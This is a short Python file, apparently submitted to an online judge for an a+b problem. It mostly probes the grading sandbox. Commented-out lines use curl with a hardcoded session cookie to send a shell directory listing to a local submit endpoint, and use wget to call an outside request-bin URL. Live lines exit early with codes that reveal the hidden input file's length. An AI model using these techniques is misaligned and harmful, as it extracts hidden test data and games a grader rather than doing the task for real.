import os

#just testing
#os.system("curl -F 'task_id=adunare' -F 'solution='+$(ls)+';filename=test.py;type=text/plain' -F 'round_id=arhiva' -F 'compiler_id=py' -H 'Content-Type: multipart/form-data' --cookie 'infoarena2_session=5f8vmrnevii6tu67bjditbvjg4' localhost/submit")
#os.system("wget https://hookb.in/Oe9DyMVLDWTGWg1MGLLO")
exit(200)
exit(len(open("adunare.in", "r").read()))
fin = open("adunare.in", "r")
fout = open("adunare.out", "w")

input = fin.read()
exit(len(input))

input = input.split('\n')
raise Exception("test!")
	
a = int(input[0])
b = int(input[1])

fout.write(str(a+b))
fin.close()
fout.close()